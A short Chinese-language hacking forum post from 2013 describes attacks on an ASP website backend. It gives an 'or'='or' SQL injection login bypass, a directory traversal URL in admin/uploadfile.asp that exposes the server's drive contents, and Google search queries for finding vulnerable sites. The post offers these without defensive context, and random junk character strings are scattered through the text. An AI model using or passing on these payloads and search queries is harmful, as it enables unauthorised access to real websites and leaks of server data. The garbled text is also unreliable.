后台万能密码 'or'='or'
5 f. a3 u' ?8 F& P4 o* J& I+ Z8 z0 T
5 N+ p i& _4 c d/ f后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！; H$ K5 V! t E. I
admin/uploadfile.asp?currentFolder=/upfiles/../; f) [4 j) r: `7 ]5 Q
, X2 c* d* X; V6 c( x漏洞证明：! H5 Z# a& \' X% A$ C) S8 }
' |' U/ x3 x' d& o8 }0 o v, m谷歌：inurl:type.asp?id=1 新闻中心9 V! l/ i( `3 U% W: Z# K
或者 ：inurl:download_ok.asp?
3 w8 v+ I1 D7 k3 Z, w2 g
p. E' p/ E5 C g& y+ T0 k |
发表于 2013-3-14 20:17:32
收藏
支持
反对